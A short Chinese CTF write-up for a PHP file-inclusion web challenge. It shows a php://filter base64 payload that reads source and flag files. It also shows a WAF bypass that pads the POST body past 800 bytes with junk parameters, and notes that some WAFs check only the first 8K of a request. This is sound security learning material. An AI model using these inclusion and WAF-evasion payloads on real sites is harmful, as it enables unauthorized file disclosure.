[鹏城杯 2022]简单包含
[鹏城杯 2022]简单包含
题目来源:nssctf
题目类型:web
涉及考点:PHP伪协议
1. 题目页面给了一条flag路径,先试着POST传参进去
发现存在WAF,这时候考虑获取当前页面的源码以查看绕过规则(猜测过滤掉了flag),因此传入:
flag=php://filter/read=convert.base64-encode/resource=index.php
base64解码后得到php代码如下:
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
2. 代码审计
根据上面得到的代码,我们可以知道当读取的长度大于等于800时即可绕过WAF,因此构造payload如下:
1=1&1=1&1=1&....(此处忽略无数个)1=1&flag=php://filter/read=convert.base64-encode/resource=flag.php
解码后得到flag:
NSSCTF{0664e4f0-fd8b-4984-aeb6-4e55af02b197}
3. 脏数据绕过WAF
某些WAF处理POST的数据时,只会检测开头的8K,后面选择全部放过。因此可以传入一段长数据使WAF失效,从而实现绕过WAF
这篇是补昨天的一篇
日期:2023.8.4
作者:y0Zero